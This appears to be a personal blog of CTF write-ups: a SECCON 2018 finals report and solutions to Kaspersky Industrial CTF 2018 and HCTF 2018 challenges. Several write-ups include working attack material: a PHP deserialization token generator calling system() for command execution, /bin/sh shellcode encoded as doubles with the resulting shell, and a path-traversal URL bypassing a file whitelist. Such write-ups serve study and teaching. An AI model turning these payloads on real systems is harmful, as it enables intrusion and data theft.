CTFするぞ

CTFを勉強してて学んだことをまとめていきたい

SECCON 2018 国内決勝に参加しました

本日12月23日(日)に10:00から16:00までSECCONの国内決勝がありました. 高専セキュリティコンテストの優勝で決勝に参加できたので,insecureとして参加しました. 高専セキュリティコンテストはとても簡単だったので,予選やCEDECを突破してきたチームの中で戦うのは緊張しました. 結果としては15チーム中5位で,2年前に参加したときよりは良かったと思っています.

問題は「松島」,「天橋立」,「宮島」の3つのサーバーで,私は基本的に宮島に粘着しましたが,途中で松島も1つ解きました. Defense Flagを取ってくるスクリプトをふるつき殿が書いてくれて,かなり便利でした.

宮島

問題で指定された関数をIntel x64の機械語で書いて送るとフラグが貰えます. 30分ごとに問題が変わるので全部解ければ12個のAttack Flagがゲットできるおいしい問題です. 次のような関数が出題されました.(この順番だったかは確かではありません.)

  • 引数に1を足して返す
  • 引数が奇数なら1を返し,偶数なら0を返す
  • 引数2つを加算する
  • 引数2つを乗算する
  • 引数2つを除算して商を返す
  • 引数2つを除算して剰余を返す
  • 引数5つの値を加算する
  • 引数2つのポインタの中身を入れ替える
  • 引数の累乗(指数は引数で指定)を求める
  • 引数として渡される配列の平均を求める
  • 引数のバッファに"hello world"を格納する
  • 引数として渡される文字列を鍵でXORする

機械語の長さには制限がありますが,十分に大きいので全く問題にはなりません. また,一番短い機械語を書いたチームが防御点を貰えます. 何個かの問題は最短を書いたのですが,他のチームが先に同じ長さのコードを上げていたので防御点は得られませんでした. 処理自体は難しくないのでコードを短くする頭の体操のような問題でした.

最初の方はpwn問だと思っていたので,Reverse Shellの要領でlsした結果を自分のマシンに送るようなコードを制限字数内に詰め込んで投げましたが,残念ながら繋がりませんでした.たぶんdockerか何かで動かしていたんだと思います.

あと最短コード書いた最初の1チームが得点全部持っていくのがつらかったです. 最後の方に自動でコード投げるようにしたのですが他のチームに先に取られました. 問題自体は楽しかったですが,せっかく書いたexploitが動かなかったのが残念です.

供養: gist.github.com

松島

ポーカーでフルハウスなら100ptのフラグが,フォーカード以上なら300ptのフラグが貰えます. フルハウスはyoshiking殿がすぐに手動で出してくれました.その才能をラスベガスで活かしなさい. フォーカードが出ないとのことなので,私は宮島の30分ごとの問題の合間を縫って乱数生成するプログラムを解析しました. カードをシャッフルするプログラムは実行するとデッキに10枚カードを用意してくれます. Web上で表示されているのはデッキの最初の5枚で,カードを交換すると残りの5枚から順に選ばれます. シャッフルプログラムを解析したところ,カードを並べた後スワップしたり面倒な処理をしていました. randでスワップするインデックスを決めていたのですが,srandにtime()-定数を渡しているので予想が可能です. ふるつき殿がtime関数をLD_PRELOADとかfaketimeなるライブラリで上書きする案を出してくれたのですが,「案外フォーカード出せるのでは?」と思ったのでシャッフルプログラムを呼び出して結果からフォーカードが可能かをpythonに判断させました. pythonがOKを出した時間でthrust殿がゲーム画面をロードし,いらないカードを交換したらフォーカードが出ました. フォーカードが出るとページ遷移し,Attack Flagが表示されました. 防御点はそのページに用意されたフォームにDefense Flag書き込むだけでした. そのためフォーカードを早く出した人が防御点をたくさん貰える形でした. 作問者の方に話を聞くと,本当はフォーカード出る確率がもっと低いつもりだったようで,乱数生成をちゃんと解析したチームは少なかったみたいです. シャッフルアルゴリズムもカジノ界隈では知られている有名なものだそうです.

最後に

今年はDefense Pointも取れたし3つしか問題なかったし簡単だった気がします. (2年前に出た国際と合同の決勝が難しすぎたのかもしれないですが.) 予選を勝ち抜いた強豪の中,思ったよりまともに戦えたのが嬉しかったです. 来年から東工大で1人なのでCTFできるチームとかあるか分からないですが,参加できたらまた参加したいです. ところでセキュリティっぽい問題無かったんですが......セキュリティはいづこへ?

Kaspersky Industrial CTF 2018 Writeup

I joined in Kaspersky Industrial CTF as insecure and solved 3 challanges. I think I was close to the answer of CutTheRop, but couldn't make it......

Anyway, I really enjoyed the CTF!

[re 587] glardomos

Description: Find the flag inside the binary
File: Glardomos.exe

The executable is built with .NET framework but obfuscated by ConfuserEx v1.0.0.

f:id:ptr-yudai:20181125155322p:plain

I used ConfuserEx-Unpacker and de4dot to deobfuscate the binary.

github.com

github.com

I removed the anti-tamper and proxy calls, and decrypted some strings with ConfuserEx-Unpacker. After that I opened the cleaned executable with dnSpy, but it was still obfuscated. I used de4dot to remove the rest of the obfuscation, and I got a deobfuscated executable finally.

f:id:ptr-yudai:20181125160932p:plain

The program decrypts an AES cipher and invokes the following PowerShell script:

$flag="<input flag>"; <decrypted ciphertext>

So, the decrypted text is the code that checks our flag. I run the debugger and retrieved the script:

. ((varIAbLe '*MDR*').NAME[3,11,2]-jOiN'') ( -jOIn('5b{73r74Z52<49r6eJ47%5d<3a;3ar6a!6f!69
[snipped]
4e<27<27Z29'.SPlit('Z!%<{r;J') |% { ( [CONvErt]::TOint16( ( [STriNg]$_ ) ,16 )-AS[CHar])} ))

The PowerShell script is obfuscated. I simply used echo to get the deobfuscated script:

iex
[stRInG]::joiN( '', [ChAR[]](32 , 34, 36,40, 83,
[snipped]
, 78 , 39, 39, 41) ) | &((GV '*mdR*').name[3,11,2]-jOIN'')

It's still obfuscated...... Deobfuscate again:

"$(SEt-ItEm  'VariaBlE:oFS'  '') "+[sTring]( '1101z
[snipped]
" | .( $env:comspec[4,15,25]-jOiN'')

Again:

$
a
 
=
 
"
a
a
a
a
a
[snipped]

Newline is inserted after each character, so I removed newlines and got the following script along with the flag:

$a = "aaaaaaaaaaaaaaaaaaaaaaa";
$rv = $FALSE;
if ($flag.length - ne 39) {}
elseif($flag[0] - ne 'K') {}
elseif($flag[1] - ne 'L') {}
elseif($flag[2] - ne 'C') {}
elseif($flag[3] - ne 'T') {}
elseif($flag[4] - ne 'F') {}
elseif($flag[5] - ne '{') {}
elseif($flag[6] - ne '3') {}
elseif($flag[7] - ne '4') {}
elseif($flag[8] - ne 'O') {}
elseif($flag[9] - ne 'K') {}
elseif($flag[10] - ne '3') {}
elseif($flag[11] - ne 'B') {}
elseif($flag[12] - ne 'P') {}
elseif($flag[13] - ne 'K') {}
elseif($flag[14] - ne '3') {}
elseif($flag[15] - ne '3') {}
elseif($flag[16] - ne 'H') {}
elseif($flag[17] - ne '0') {}
elseif($flag[18] - ne 'S') {}
elseif($flag[19] - ne 'Z') {}
elseif($flag[20] - ne 'X') {}
elseif($flag[21] - ne '3') {}
elseif($flag[22] - ne 'Y') {}
elseif($flag[23] - ne 'Z') {}
elseif($flag[24] - ne 'X') {}
elseif($flag[25] - ne 'N') {}
elseif($flag[26] - ne '2') {}
elseif($flag[27] - ne 'V') {}
elseif($flag[28] - ne 'C') {}
elseif($flag[29] - ne 'J') {}
elseif($flag[30] - ne 'V') {}
elseif($flag[31] - ne '2') {}
elseif($flag[32] - ne '4') {}
elseif($flag[33] - ne 'C') {}
elseif($flag[34] - ne 'P') {}
elseif($flag[35] - ne '6') {}
elseif($flag[36] - ne 'Y') {}
elseif($flag[37] - ne 'H') {}
elseif($flag[38] - ne '}') {} else {
    $rv = $TRUE;
}
if ($rv) {
    Write - Output "Success!"
} else {
    Write - Output "Failed!"
} +

[web 50] expression

Description: http://expression.2018.ctf.kaspersky.com/

It's a simple application which calculates a binary arithmetic operation. It also has a function to share the result.

f:id:ptr-yudai:20181124223236p:plain

As we can see below, the token is a base64 encoded string of a serialized object.

$ echo "TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==" | base64 -d | hexdump -C
00000000  4f 3a 31 30 3a 22 45 78  70 72 65 73 73 69 6f 6e  |O:10:"Expression|
00000010  22 3a 33 3a 7b 73 3a 31  34 3a 22 00 45 78 70 72  |":3:{s:14:".Expr|
00000020  65 73 73 69 6f 6e 00 6f  70 22 3b 73 3a 33 3a 22  |ession.op";s:3:"|
00000030  73 75 6d 22 3b 73 3a 31  38 3a 22 00 45 78 70 72  |sum";s:18:".Expr|
00000040  65 73 73 69 6f 6e 00 70  61 72 61 6d 73 22 3b 61  |ession.params";a|
00000050  3a 32 3a 7b 69 3a 30 3b  64 3a 31 3b 69 3a 31 3b  |:2:{i:0;d:1;i:1;|
00000060  64 3a 32 3b 7d 73 3a 39  3a 22 73 74 72 69 6e 67  |d:2;}s:9:"string|
00000070  69 66 79 22 3b 73 3a 35  3a 22 31 20 2b 20 32 22  |ify";s:5:"1 + 2"|
00000080  3b 7d                                             |;}|
00000082

The operation in this example is sum. I changed it into foobar and got an error.

f:id:ptr-yudai:20181125112653p:plain

This error shows us that we can call a function written in op and pass params as arguments. Let's try system("ls"); then. I wrote a code to generate a token.

import base64

op = 'system'
param = 'ls /'
stringify = "whatever"

obj = 'O:10:"Expression":3:{{s:14:"\x00Expression\x00op";s:{0}:"{1}";s:18:"\x00Expression\x00params";s:{2}:"{3}";s:9:"stringify";s:{4}:"{5}";}}'.format(
    len(op), op, len(param), param, len(stringify), stringify
)

print(obj)
print(base64.b64encode(obj))

I sent the token and got a list of files.

f:id:ptr-yudai:20181125122826p:plain

I found the flag in the root directory.

[pwn 635] doubles

Description: nc doubles.2018.ctf.kaspersky.com 10001
File: doubles

We are given a 64-bit ELF as shown below.

$ checksec doubles
[*] '/home/ptr/kasp/doubles/doubles'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The following flow is the overview of this program.

  1. It allocates a region of 0x1000 bytes long with a permission of RWX.
  2. It asks us an integer n, which must be between 0 and 7.
  3. We can enter n numbers (double ) and each number is stored into the allocated region one by one.
  4. 0x909090909090C031 is stored at the allocated region + 0x70.
  5. The average of the n numbers is stored at the allocated region + 0x78.
  6. Every general register (including rsp) is set to zero.
  7. The rip jumps to the allocated region + 0x70.

So, what we have to do is make a valid shellcode and somehow make the program run it. A "double" number is stored in the memory as an 8-byte data. In order to make a shellcode, we have to send a sequence of decimals which consist a shellcode in binary expression. However, there are several difficulties.

  • We have to make the average of the n values to become a valid machine code to jump to the head of the shellcode.

  • Each piece of the shellcode must be a valid "double" value.

  • So far, we cannot use the stack because the rsp is set to zero.

The first problem can be solved by making the jump code much bigger than others. If a value is much bigger than others, the sum of the n values will still remain to be the big one, which means we can control the average of the n values. The MSB of a double value is a sign bit, and the following 11 bits indicates the exponents. We can express a very big value by making the exponents large.

The second problem is troublesome. We have to insert some NOPs in order to make the exponents valid.

The third problem is also hard. I solved this problem by setting rsp to rip+0x100. This works because the program allocated 0x1000 bytes at first. However, we have to make the shellcode within 40 bytes because we can send 6 values, and 1 of them is used as a jump code.

After many attempts, I finally found out a valid shellcode which can be expressed as a sequence of valid "double" values within 40 bytes, and the average becomes a jump code.

   0:   90                      nop
   1:   48 bb 2f 2f 62 69 6e    movabs rbx,0x68732f6e69622f2f
   8:   2f 73 68 
   b:   48 c1 eb 08             shr    rbx,0x8
   f:   48 8d 25 00 01 00 00    lea    rsp,[rip+0x100]        # 0x116
  16:   53                      push   rbx
  17:   48 31 c0                xor    rax,rax
  1a:   48 89 e7                mov    rdi,rsp
  1d:   50                      push   rax
  1e:   57                      push   rdi
  1f:   48 89 e6                mov    rsi,rsp
  22:   90                      nop
  23:   b0 3b                   mov    al,0x3b
  25:   0f 05                   syscall 
  27:   50                      push   rax

And the jump code is:

0:  90                      nop
1:  eb 8e                   jmp    0xffffffffffffff91
3:  90                      nop
4:  90                      nop
5:  90                      nop
6:  90                      nop
7:  72                      .byte 0x72 

Make sure we have to multiple the jump code by 6 because the average of the 6 values must become the jump code. I successfully got the shell by sending them :-)

jmp: 42414219992596245218001374870023488688887337184171076843703431849255849327244773206282145324118823472177755838157217743990471510797616601566533601020441367279653434504695985248529744545074141311725379574059428460261240719279830427101261962674176.000000
payload: 73403852927206634204109324231838157112777181233551279778921108455681314721939694102746846666328160484625144628588078663273511213524656164349863635915308558201246385194954266786756489034390978793797842144726060589481575055360.000000
payload: 1060018620876817941879053728465635246080.000000
payload: 25861459967167447253438973581629191094272.000000
payload: 31736139535490892940915403351753821782016.000000
payload: 304815503662884820652476385666798698945116784347429914078215724790876265775104.000000
$ ls
doubles
flag.txt
$ cat flag.txt
KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}
$ 

HCTF 2018 Writeup

HCTF 2018 had been held for 48 hours from November 9th. HCTF is held every year but this was the first time for us to participate in HCTF. I joined in the CTF as a member of team insecure. We got 3032.49pt and I solved 4 challenges.

f:id:ptr-yudai:20181111223953p:plain

Thank you for the awsome CTF. I learned a lot!

[Web] Warmup

Description:
warmup
URL: http://warmup.2018.hctf.io
Team solved: 266

There are index.php, hint.php on the given url and we can also access to source.php, which I found in the source code of index.php. The source.php tells us the whole PHP code of index.php.

 <?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

It's a whitelist check to verify the file parameter is "source.php" or "hint.php". The hint says that the filename of the flag is ffffllllaaaagggg. As we can see in the code, only the token before '?' will be checked. For example, parameters like file=source.php?hello will pass the filter. However it won't include any files because there are no such files named source.php?hello. After several attempts, I realized that I could bypass the filter by using a relative path like:

http://warmup.2018.hctf.io/?file=hint.php?/../hint.php

Finally I found the flag in the root directory.

http://warmup.2018.hctf.io/?file=hint.php?/../../../../ffffllllaaaagggg

[Misc] freq game

Description:
this is a eazy game. nc 150.109.119.46 6775
Team solved: 36

We can get the source code by entering 'hint.'

$ nc 150.109.119.46 6775
 _______  _______  _______  _______    _______  _______  _______  _______
(  ____ \(  ____ )(  ____ \(  ___  )  (  ____ \(  ___  )(       )(  ____ \
| (    \/| (    )|| (    \/| (   ) |  | (    \/| (   ) || () () || (    \/
| (__    | (____)|| (__    | |   | |  | |      | (___) || || || || (__
|  __)   |     __)|  __)   | |   | |  | | ____ |  ___  || |(_)| ||  __)
| (      | (\ (   | (      | | /\| |  | | \_  )| (   ) || |   | || (
| )      | ) \ \__| (____/\| (_\ \ |  | (___) || )   ( || )   ( || (____/\
|/       |/   \__/(_______/(____\/_)  (_______)|/     \||/     \|(_______/


this is a sample game ...


input y to start this game, and input hint to get hint:

We are given the following python code which is running on the server.

#!/usr/bin/env python

def get_number(x, freq,rge):
    y = np.sin(2*np.pi*x*freq)*rge
    return y
    
def divide_flag(token):                                                                                                                                                                       
    flag_list = []                                                                                                                                                                            
    flag = "****************************************************************"                                                                                                                 
    for i in range(0,64,2):                                                                                                                                                                   
        flag_list.append(int(flag[i]+flag[i+1],16))                                                                                                                                           
    return flag,flag_list                                                                                                                                                                     
                                                                                                                                                                                              
def game(level,flag_list):                                                                                                                                                                    
                                                                                                                                                                                              
    level = level*4                                                                                                                                                                           
    freq_list = flag_list[level:level+4]                                                                                                                                                      
                                                                                                                                                                                              
    x = np.linspace(0,1,1500)                                                                                                                                                                 
    y = []                                                                                                                                                                                    
    for freq in freq_list:                                                                                                                                                                    
        if y == []:                                                                                                                                                                           
            y = get_number(x,freq,7)                                                                                                                                                          
        else:                                                                                                                                                                                 
            y += get_number(x,freq,7)                                                                                                                                                         
    return y,freq_list                                                                                                                                                                        
                                                                                                                                                                                              
def start_game(tcpClisock,token,userlogger):                                                                                                                                                  
    
    flag,flag_list = divide_flag(token)
    level = 0
    while True:
        if level == 8:
            tcpClisock.sendall((CONGRATULATION_TXT.format("hctf{"+flag+"}")).encode("utf-8"))
            break
        y,freq_list = game(level,flag_list)
        send_data = json.dumps(list(y)).encode("utf-8")
        tcpClisock.sendall(send_data)
        req_data = tcpClisock.recv(1024).decode("utf-8").replace("\n","")
        req = req_data.split(" ")
        req.sort()
        freq_list.sort()
        if req == freq_list:
            level += 1
            continue
        else:
            break
    tcpClisock.close()

We have to pass 8 rounds and 4 different frequencies are used in every round. Let the frequencies be f_1, f_2, f_3, f_4, then the data we get is:

f(x) = 7\sin(2\pi x f_1) + 7\sin(2\pi x f_2) + 7\sin(2\pi x f_3) + 7\sin(2\pi x f_4)

What we have to send is a list of the frequencies f_1 to f_4. We can retrieve every frequencies by applying Fourier transform.

from ptrlib import *
import json
import numpy as np

token = "*** Every team has a token ***"
sock = Socket("150.109.119.46", 6775)
sock.settimeout(1.0)

sock.recvuntil("hint:")
sock.sendline("y")
sock.recvuntil("token:")
sock.sendline(token)

for r in range(8):
    print("Round {0}...".format(r + 1))
    array_json = sock.recvall()
    y = json.loads(array_json)
    # FFT
    F = np.fft.fft(y)
    Amp = np.abs(F)
    freq = np.linspace(0.0, 0xFFFF, 1500)
    # Find freq
    freq_list = []
    for c in xrange(0x100):
        if Amp[c] > 5000:
            freq_list.append(c)
    if len(freq_list) != 4:
        print("Error!")
        print(freq_list)
        exit(1)
    # Send answer
    data = ""
    for freq in freq_list:
        data += str(freq) + " "
    sock.sendline(data.rstrip())

print(sock.recvall())

sock.close()

By running this program, I could successfully get the flag. (Sorry for using a private CTF library.)

[Crypto] xor game

Description:
This is an English poem, but it is encrypted. Find the flag and restore it (also you can just submit the flag).
URL: http://img.tan90.me/xor_game.zip
Team solved: 98

The encryption algorithm is to xor the text repeatedly with the flag. Since the original text is (supposed to be) an English text, we can perform Kasiski examination and analyse the frequency of characters. The length of the poem seems large enough to break the cipher, so let's try it.

We have to find the key length first. The following program finds the most possible key length with Kasiski examination.

# Read the ciphertext as a list of ascii codes
text = open("cipher.txt", "r").read().decode("base64")
encoded = map(ord, list(text))

eq = lambda x: x[0] == x[1]

# Try several key lengths
max_freq = 0
guess_keylen = 0
for length in range(1, 50):
    shifted = encoded[length:] + encoded[:length]
    freq = map(eq, zip(encoded, shifted)).count(True)
    if max_freq < freq:
        max_freq = freq
        guess_keylen = length
print("Key Length: {0}".format(guess_keylen))

It says the key length may be 21.

Second, we have to find the key based on the key length and the frequency of letters. The challenge description says that the original text is an English poem. An english text must contain a lot of whitespaces. When we collect characters every 21 bytes in the ciphertext, the most frequently appeared character possibly corresponds to a whitespace. I used this technique and wrote a decoder.

import string

def dec(encrypted, key):
    key = (key * (len(encrypted) / len(key) + 1))[:len(encrypted)]
    xor = lambda x: x[0] ^ ord(x[1])
    return map(xor, zip(encrypted, list(key)))

def calc_freq(encrypted, keylen, i):
    # Calculate the frequency
    freq = {}
    for c in encrypted[i::keylen]:
        if c in freq:
            freq[c] += 1
        else:
            freq[c] = 1
    return freq

def find_key(encrypted, keylen, key='', i=0):
    # Generate possible keys
    if len(key) == keylen:
        decoded = dec(encrypted, key)
        ascii_count = 0
        for c in decoded:
            if chr(c) in string.printable:
                ascii_count += 1
        if float(ascii_count) / len(encrypted) > 0.9:
            yield key
    else:
        freq = calc_freq(encrypted, keylen, i)
        # Get 3 common letters
        common = sorted(freq.items(), key=lambda x:-x[1])[:2]
        for candidate in common:
            k = candidate[0] ^ 0x20
            if chr(k) not in string.printable:
                # The key is not printable
                continue
            # Next character...
            for x in find_key(encrypted, keylen, key + chr(k), i + 1):
                yield x

with open("cipher.txt", "rb") as f:
    binary = f.read().decode("base64")
    encrypted = map(ord, list(binary))

key = next(find_key(encrypted, 21))
print key
print("===== Encrypted =====")
print(repr(binary))
print("===== Decrypted =====")
print repr("".join(map(chr, dec(encrypted, key))))

This decoder unfortunately doesn't find the correct key. However, it left me an important clue. I found the following piece in the decrypted text.

... es1in"\nRepea: *ut7i ...

I realized that "\nRepea:" should be "\nRpeat" originally. Since this token appears at 162th, the 16th(162 % 21 = 15) to 21th letters of the key are correct and the 1st letter is wrong. The correct one should be:

chr(ord("6")^ord(":")^ord("t")) = 'x'

I fixed the 1st letter and tried to decrypt. Then I found the following piece.

... e agai+\n ...

Yes, "agai+" should be "again", which means the 3rd(44 % 21 = 2) letter of the key is wrong. The correct one should be:

chr(ord("7")^ord("+")^ord("n")) = 'r'

In this way, I could successfully restore the flag: hctf{xor_is_interesting!@#}.

[Rev] LuckyStar☆

Description:
Lucky channel!
URL: https://mega.nz/#!6m4kHCIA!HaNLmfENJJ0Z_TKsX8Q7rWKJblP-m3dIjgcDYH-QYSk
Team solved: 24

The file is an executable for Windows x86, named LuckyStar.exe. The program plays a Japanese anime song and we can input a flag and check if it's correct after the song ends. So, let's analyse it with x64dbg.

At first, the program checks if some debuggers presents. However, it seemed to do nothing even though I had been running x64dbg. Anyway, after that it calls srand with a constant value 0x61616161 and unpacks a region using xor with rand().

f:id:ptr-yudai:20181112205219p:plain

This is just a trick to prevent a static analysis. The unpacked code is located at 0x00401780 and its the main routine. Let's set a breakpoint there and continue the program. (If you want to keep this breakpoint, you have to set a hardware breakpoint.)

f:id:ptr-yudai:20181112205915p:plain

Now we are there! It seems it creates a thread and waits until the thread quits. The program of this thread is located at 0x00401760 and luckily it's very small.

f:id:ptr-yudai:20181112210602p:plain

The thread just plays the song and it doesn't seem to be important. After the song ends, it xors a region of data with the values gained by rand(). The region is called after we give an input string. However, the xored region is broken and the process dies. So, I run the program normally and attached during the input phase. I'm not sure why it fails with debugger, but I always get the correct code in this way. (Perhaps the debugger detection makes it complex.)

f:id:ptr-yudai:20181119194553p:plain

As I analysed the piece of code, I found it is a base64 encoder. However, the uppercase of encoded string becomes lowercase and vice versa. It xors the base64 encoded string with rand() and compares to the valid one. This means we can find the valid base64 encoded string by xoring the xored data with rand() values. I got the sequence of rand() values by xoring my base64 string and the xored base64 string. The following code finds the valid base64 encoded string.

sample = 'y\xf4_\xef1|$v\xa1\x87\xfe\x04B\xa3\xaf\xd0\xb0\xe0\xd0|\xb6Xz\x8d\xa3\xc79\x04\xfd\xcc\x97Ze}\xe9\xac\x98\nh8'
key = 'I\xe6W\xbd:G\x11L\x95\xbc\xee2r\xa0\xf0\xde\xac\xf2\x83V\x83In\xa9\xa6\xc5g<\xca\xc8\xcc\x05'
target = 'qufbqufbqufbqufbqufbqufbqufbqufbqufbqufbque=\n'
output = ""
i = 0
for (a, b) in zip(sample, target):
    p = ord(a) ^ ord(b)
    output += chr(p ^ ord(key[i]))
    i += 1
    if i == 0x20:
        break
print(output)

The output is Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==. Notice that the uppercase becomes lowercase, and lower to upper, which means the real base64 value is aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==. I decoded the base64 string and found the flag hctf{1zumi_K0nat4_Mo3}, haha.